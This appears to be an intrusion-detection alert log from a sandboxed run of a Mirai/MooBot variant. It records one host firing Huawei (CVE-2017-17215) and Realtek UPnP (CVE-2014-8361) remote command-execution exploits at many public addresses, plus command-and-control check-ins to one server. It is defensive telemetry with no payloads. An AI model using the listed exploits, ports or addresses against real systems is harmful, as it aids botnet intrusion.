07/20/24-23:01:06.800492	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57702	37215	192.168.2.13	157.10.30.221
07/20/24-23:01:14.541501	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59950	52869	192.168.2.13	115.52.50.250
07/20/24-23:01:25.985747	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	34324	2466	192.168.2.13	15.235.203.214
07/20/24-23:00:58.677396	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	53098	2466	192.168.2.13	15.235.203.214
07/20/24-23:01:14.501512	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42134	52869	192.168.2.13	219.121.3.137
07/20/24-23:01:27.306441	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45128	37215	192.168.2.13	197.204.216.196
07/20/24-23:01:07.212184	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34122	52869	192.168.2.13	72.246.92.233
07/20/24-23:01:08.392907	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44836	37215	192.168.2.13	157.227.217.207
07/20/24-23:01:32.244559	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44882	37215	192.168.2.13	177.143.99.241
07/20/24-23:01:12.525593	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60542	37215	192.168.2.13	41.103.48.240
07/20/24-23:01:22.737206	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33850	37215	192.168.2.13	157.19.188.155
07/20/24-23:01:14.513211	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49058	52869	192.168.2.13	125.165.157.181
07/20/24-23:01:14.544463	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35444	52869	192.168.2.13	117.76.117.93
07/20/24-23:01:32.263122	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45866	37215	192.168.2.13	64.105.126.104
07/20/24-23:00:59.023733	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36856	37215	192.168.2.13	197.84.11.202
07/20/24-23:01:27.229449	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58000	37215	192.168.2.13	115.177.66.51
07/20/24-23:01:14.539379	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35368	52869	192.168.2.13	19.96.215.60
07/20/24-23:01:14.530140	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38082	52869	192.168.2.13	63.139.62.111
07/20/24-23:01:25.404749	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46290	37215	192.168.2.13	161.219.99.46
07/20/24-23:01:08.435255	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48960	37215	192.168.2.13	49.98.16.76
07/20/24-23:01:02.613618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44020	37215	192.168.2.13	132.227.49.42
07/20/24-23:01:06.823879	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58778	37215	192.168.2.13	41.216.227.33
07/20/24-23:01:06.799605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32820	37215	192.168.2.13	141.99.41.99
07/20/24-23:01:22.737919	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38954	37215	192.168.2.13	41.202.128.225
07/20/24-23:01:12.495795	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35740	37215	192.168.2.13	41.194.202.64
07/20/24-23:01:14.552891	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53988	52869	192.168.2.13	71.163.97.163
07/20/24-23:01:05.807508	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49084	52869	192.168.2.13	191.252.251.212
07/20/24-23:00:59.055059	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60614	37215	192.168.2.13	197.136.94.142
07/20/24-23:01:05.829182	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33150	52869	192.168.2.13	222.97.13.69
07/20/24-23:01:27.286229	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38486	37215	192.168.2.13	37.192.198.218
07/20/24-23:01:06.802009	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35894	37215	192.168.2.13	197.244.207.253
07/20/24-23:01:04.942037	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53050	37215	192.168.2.13	157.122.113.19
07/20/24-23:01:14.542240	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57976	52869	192.168.2.13	154.241.18.163
07/20/24-23:01:14.518211	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36848	52869	192.168.2.13	65.224.243.64
07/20/24-23:01:36.796105	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55762	37215	192.168.2.13	41.205.241.233
07/20/24-23:01:22.737281	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60564	37215	192.168.2.13	157.2.221.76
07/20/24-23:01:36.794115	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54596	37215	192.168.2.13	41.92.22.255
07/20/24-23:01:04.769875	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35354	52869	192.168.2.13	120.120.202.208
07/20/24-23:01:12.502954	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41610	37215	192.168.2.13	157.54.211.159
07/20/24-23:00:59.020039	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42210	37215	192.168.2.13	197.130.190.85
07/20/24-23:01:25.397771	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52390	37215	192.168.2.13	41.195.191.119
07/20/24-23:00:59.020815	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58342	37215	192.168.2.13	67.164.145.87
07/20/24-23:01:14.500796	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36558	52869	192.168.2.13	112.104.240.153
07/20/24-23:00:59.023270	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37234	37215	192.168.2.13	86.82.54.225
07/20/24-23:01:06.162884	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47210	52869	192.168.2.13	136.164.189.225
07/20/24-23:01:14.536691	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48344	52869	192.168.2.13	165.95.243.107
07/20/24-23:01:02.601732	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41910	37215	192.168.2.13	197.25.72.152
07/20/24-23:00:59.021109	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37640	37215	192.168.2.13	157.171.167.12
07/20/24-23:01:14.541501	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59096	52869	192.168.2.13	35.206.55.83
07/20/24-23:01:36.812730	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40208	37215	192.168.2.13	99.113.93.165
07/20/24-23:01:04.841989	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33494	37215	192.168.2.13	197.217.94.248
07/20/24-23:01:02.703502	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59930	37215	192.168.2.13	89.176.16.102
07/20/24-23:01:14.521197	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34672	52869	192.168.2.13	17.217.65.15
07/20/24-23:01:21.374444	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44454	52869	192.168.2.13	139.159.183.229
07/20/24-23:01:04.848636	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56320	37215	192.168.2.13	157.188.43.182
07/20/24-23:01:04.855996	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52534	37215	192.168.2.13	41.240.194.108
07/20/24-23:01:02.682054	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33990	37215	192.168.2.13	46.91.29.61
07/20/24-23:01:02.612616	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56802	37215	192.168.2.13	197.96.187.238
07/20/24-23:01:32.192696	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34390	37215	192.168.2.13	197.148.179.37
07/20/24-23:01:06.230961	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46330	52869	192.168.2.13	165.95.243.107
07/20/24-23:01:14.999580	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52410	37215	192.168.2.13	197.229.89.250
07/20/24-23:01:12.533730	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55850	37215	192.168.2.13	197.40.104.9
07/20/24-23:01:25.460589	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38438	37215	192.168.2.13	157.20.195.200
07/20/24-23:01:12.490733	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40844	37215	192.168.2.13	41.79.117.67
07/20/24-23:01:08.381624	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36206	37215	192.168.2.13	157.254.56.10
07/20/24-23:01:12.484346	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58988	37215	192.168.2.13	197.115.220.136
07/20/24-23:00:59.022237	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59386	37215	192.168.2.13	41.222.221.26
07/20/24-23:01:14.542853	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60938	52869	192.168.2.13	126.183.166.233
07/20/24-23:01:06.011611	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49424	52869	192.168.2.13	4.4.167.103
07/20/24-23:01:14.501229	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39940	52869	192.168.2.13	153.88.175.187
07/20/24-23:01:08.435254	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46618	37215	192.168.2.13	115.0.94.194
07/20/24-23:01:27.366334	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51776	52869	192.168.2.13	46.222.69.48
07/20/24-23:01:05.581362	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56178	52869	192.168.2.13	130.11.160.84
07/20/24-23:01:22.736706	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49312	37215	192.168.2.13	195.163.106.174
07/20/24-23:01:08.460982	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43196	37215	192.168.2.13	157.6.129.74
07/20/24-23:01:36.780757	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35150	37215	192.168.2.13	197.130.84.153
07/20/24-23:01:08.407500	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39418	37215	192.168.2.13	157.47.240.95
07/20/24-23:01:05.791437	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46912	52869	192.168.2.13	68.30.100.71
07/20/24-23:01:07.605472	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51432	52869	192.168.2.13	1.6.86.123
07/20/24-23:01:27.237698	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48046	37215	192.168.2.13	200.96.128.108
07/20/24-23:01:20.451577	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57476	52869	192.168.2.13	114.155.105.80
07/20/24-23:01:12.356579	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52258	37215	192.168.2.13	23.108.81.73
07/20/24-23:01:08.447448	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47950	37215	192.168.2.13	77.99.232.103
07/20/24-23:00:59.055118	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60900	37215	192.168.2.13	157.237.43.90
07/20/24-23:01:08.369553	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39836	37215	192.168.2.13	157.80.68.55
07/20/24-23:01:36.793382	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38810	37215	192.168.2.13	35.166.41.236
07/20/24-23:01:02.678688	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43210	37215	192.168.2.13	157.69.83.103
07/20/24-23:01:08.455372	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51024	37215	192.168.2.13	51.3.11.1
07/20/24-23:01:15.001455	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60994	37215	192.168.2.13	53.180.150.104
07/20/24-23:01:06.801747	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49450	37215	192.168.2.13	174.36.66.18
07/20/24-23:01:08.459273	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33184	37215	192.168.2.13	60.186.118.133
07/20/24-23:01:03.838826	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45482	52869	192.168.2.13	202.179.114.114
07/20/24-23:01:15.059692	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42550	37215	192.168.2.13	107.115.208.97
07/20/24-23:01:36.781522	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60178	37215	192.168.2.13	142.48.177.154
07/20/24-23:01:05.860143	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54888	52869	192.168.2.13	216.1.152.81
07/20/24-23:01:15.072845	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56224	37215	192.168.2.13	157.202.215.15
07/20/24-23:01:27.352864	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48646	52869	192.168.2.13	170.245.248.200
07/20/24-23:01:04.908544	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55358	37215	192.168.2.13	41.81.13.239
07/20/24-23:01:06.812906	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33004	37215	192.168.2.13	197.9.47.161
07/20/24-23:01:14.500846	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43912	52869	192.168.2.13	173.70.195.138
07/20/24-23:01:08.459274	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57096	37215	192.168.2.13	197.15.189.58
07/20/24-23:01:32.238260	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42198	37215	192.168.2.13	157.202.251.103
07/20/24-23:01:14.544463	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50652	52869	192.168.2.13	49.146.39.71
07/20/24-23:01:15.000440	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37684	37215	192.168.2.13	157.157.248.97
07/20/24-23:01:06.270558	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40392	52869	192.168.2.13	37.205.184.129
07/20/24-23:01:14.550185	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55344	52869	192.168.2.13	44.173.173.82
07/20/24-23:01:14.502058	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50058	52869	192.168.2.13	64.111.121.228
07/20/24-23:01:04.842729	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38750	37215	192.168.2.13	197.240.195.159
07/20/24-23:01:12.356928	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46748	37215	192.168.2.13	41.52.158.215
07/20/24-23:01:12.358719	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50724	37215	192.168.2.13	216.77.121.39
07/20/24-23:01:27.352673	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40200	52869	192.168.2.13	82.38.244.59
07/20/24-23:01:25.390960	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57216	37215	192.168.2.13	41.22.18.106
07/20/24-23:01:12.517792	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46010	37215	192.168.2.13	157.121.161.205
07/20/24-23:01:27.306441	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46634	37215	192.168.2.13	157.2.117.43
07/20/24-23:01:32.276800	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57822	37215	192.168.2.13	41.233.111.48
07/20/24-23:01:06.448801	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34174	52869	192.168.2.13	223.227.5.114
07/20/24-23:01:04.842729	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55190	37215	192.168.2.13	41.71.97.69
07/20/24-23:01:32.257456	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49708	37215	192.168.2.13	157.17.101.178
07/20/24-23:01:15.000888	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39250	37215	192.168.2.13	41.224.237.80
07/20/24-23:01:06.806392	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57058	37215	192.168.2.13	157.160.175.59
07/20/24-23:01:17.782283	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39052	37215	192.168.2.13	189.30.247.87
07/20/24-23:01:32.203847	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44882	37215	192.168.2.13	85.126.249.142
07/20/24-23:01:32.267589	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37448	37215	192.168.2.13	197.51.120.46
07/20/24-23:00:59.019819	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39572	37215	192.168.2.13	197.64.178.193
07/20/24-23:01:27.226586	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44976	37215	192.168.2.13	220.0.252.243
07/20/24-23:01:32.244559	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33134	37215	192.168.2.13	197.102.87.189
07/20/24-23:01:27.286229	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38124	37215	192.168.2.13	23.140.135.200
07/20/24-23:01:12.502954	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53738	37215	192.168.2.13	41.159.252.215
07/20/24-23:01:12.553660	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51592	37215	192.168.2.13	41.58.123.109
07/20/24-23:01:12.356737	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39884	37215	192.168.2.13	41.218.110.52
07/20/24-23:01:06.335635	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36394	52869	192.168.2.13	159.127.6.20
07/20/24-23:01:02.669609	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54416	37215	192.168.2.13	92.31.50.53
07/20/24-23:01:04.848605	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52836	37215	192.168.2.13	205.213.110.131
07/20/24-23:01:32.271087	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55338	37215	192.168.2.13	197.44.80.81
07/20/24-23:01:06.798920	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54762	37215	192.168.2.13	84.59.78.82
07/20/24-23:01:20.583023	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59676	52869	192.168.2.13	176.200.162.136
07/20/24-23:01:04.892375	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55018	37215	192.168.2.13	70.239.125.84
07/20/24-23:01:04.988327	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32794	52869	192.168.2.13	220.123.4.18
07/20/24-23:01:08.392180	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57928	37215	192.168.2.13	147.235.120.255
07/20/24-23:01:14.513211	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51854	52869	192.168.2.13	164.103.95.95
07/20/24-23:01:22.737919	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41442	37215	192.168.2.13	197.187.216.229
07/20/24-23:01:06.812618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58896	37215	192.168.2.13	157.209.91.186
07/20/24-23:01:04.582480	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60622	52869	192.168.2.13	199.170.141.174
07/20/24-23:01:27.232388	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57862	37215	192.168.2.13	197.243.124.222
07/20/24-23:00:59.021164	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56172	37215	192.168.2.13	41.255.114.202
07/20/24-23:01:14.559539	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36102	52869	192.168.2.13	223.227.5.114
07/20/24-23:00:59.023356	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38738	37215	192.168.2.13	157.200.38.194
07/20/24-23:01:25.460589	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45514	37215	192.168.2.13	69.50.110.174
07/20/24-23:01:25.388680	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56714	37215	192.168.2.13	41.50.130.163
07/20/24-23:01:05.763382	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38402	52869	192.168.2.13	170.201.104.199
07/20/24-23:01:14.542240	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53422	52869	192.168.2.13	1.6.86.123
07/20/24-23:01:19.958256	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37588	52869	192.168.2.13	205.146.86.254
07/20/24-23:01:14.509824	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38840	52869	192.168.2.13	69.82.73.167
07/20/24-23:01:27.356781	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47184	52869	192.168.2.13	165.40.137.113
07/20/24-23:01:14.521197	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49150	52869	192.168.2.13	166.150.19.163
07/20/24-23:00:59.021933	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38854	37215	192.168.2.13	203.129.114.89
07/20/24-23:01:14.535851	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60132	52869	192.168.2.13	187.123.127.227
07/20/24-23:01:27.226586	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41492	37215	192.168.2.13	197.154.31.142
07/20/24-23:01:27.356781	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44854	52869	192.168.2.13	188.71.38.105
07/20/24-23:01:06.205306	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33916	52869	192.168.2.13	162.26.5.38
07/20/24-23:01:32.213464	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33884	37215	192.168.2.13	197.177.232.220
07/20/24-23:01:22.737021	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59078	37215	192.168.2.13	41.32.160.8
07/20/24-23:01:27.276711	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36792	37215	192.168.2.13	157.87.236.58
07/20/24-23:01:36.799485	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51050	37215	192.168.2.13	197.238.130.84
07/20/24-23:01:06.209400	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60250	52869	192.168.2.13	71.112.213.237
07/20/24-23:01:22.810997	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40534	37215	192.168.2.13	197.33.52.28
07/20/24-23:01:36.799485	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43088	37215	192.168.2.13	157.15.196.122
07/20/24-23:01:15.063530	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54600	37215	192.168.2.13	157.24.38.215
07/20/24-23:01:20.444947	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55950	52869	192.168.2.13	80.223.139.197
07/20/24-23:01:02.624280	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53904	37215	192.168.2.13	157.130.93.53
07/20/24-23:01:19.210879	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53604	52869	192.168.2.13	158.95.177.24
07/20/24-23:01:06.151660	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44348	52869	192.168.2.13	47.216.94.0
07/20/24-23:01:14.998326	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44852	37215	192.168.2.13	141.161.207.179
07/20/24-23:01:14.533279	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42366	52869	192.168.2.13	37.205.184.129
07/20/24-23:00:59.023356	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52376	37215	192.168.2.13	138.35.105.236
